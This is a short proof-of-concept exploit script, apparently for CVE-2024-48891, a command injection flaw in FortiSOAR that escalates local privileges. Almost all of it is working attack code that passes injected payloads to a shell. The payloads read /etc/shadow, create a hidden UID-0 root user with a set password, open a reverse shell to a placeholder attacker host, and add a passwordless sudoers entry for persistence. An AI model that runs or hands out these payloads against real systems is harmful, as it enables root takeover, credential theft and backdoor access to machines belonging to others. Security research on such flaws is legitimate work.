CVE-2024-48891 FortiSOAR OS命令注入本地权限提升漏洞

# CVE-2024-48891 - FortiSOAR OS Command Injection PoC (Local Privilege Escalation) # This PoC demonstrates the concept of exploiting OS command injection in FortiSOAR # Note: Requires prior low-privileged shell access to the FortiSOAR system #!/usr/bin/env python3 import subprocess import sys def exploit_command_injection(injected_command): """ Exploit OS command injection in FortiSOAR vulnerable endpoint. The vulnerability exists in command execution functions that fail to properly sanitize special shell characters. """ # Vulnerable pattern: user input is concatenated directly into shell command # without proper escaping or parameterization vulnerable_command = f"/opt/fortisoar/bin/fortisoar-cli execute --action 'system_info' --param '{injected_command}'" try: # Execute the crafted command - the injected payload will run with # elevated privileges of the FortiSOAR service process result = subprocess.run( vulnerable_command, shell=True, capture_output=True, text=True, timeout=30 ) return result.stdout, result.stderr except subprocess.TimeoutExpired: return None, "Command timed out" except Exception as e: return None, str(e) def main(): # Example payloads demonstrating privilege escalation via command injection # Payload 1: Read sensitive system files payload_read = "; cat /etc/shadow #" # Payload 2: Create a new root user payload_user = "; useradd -o -u 0 -g 0 -M -d /root -s /bin/bash pwned; echo 'pwned:password123' | chpasswd #" # Payload 3: Establish reverse shell with elevated privileges payload_revshell = "; bash -i >& /dev/tcp/attacker_ip/4444 0>&1 #" # Payload 4: Modify sudoers for persistent access payload_sudo = "; echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers #" if len(sys.argv) > 1: payload = sys.argv[1] else: payload = payload_read print(f"[*] Exploiting CVE-2024-48891 with payload: {payload}") stdout, stderr = exploit_command_injection(payload) if stdout: print(f"[+] Output:\n{stdout}") if stderr: print(f"[-] Error:\n{stderr}") if __name__ == "__main__": main()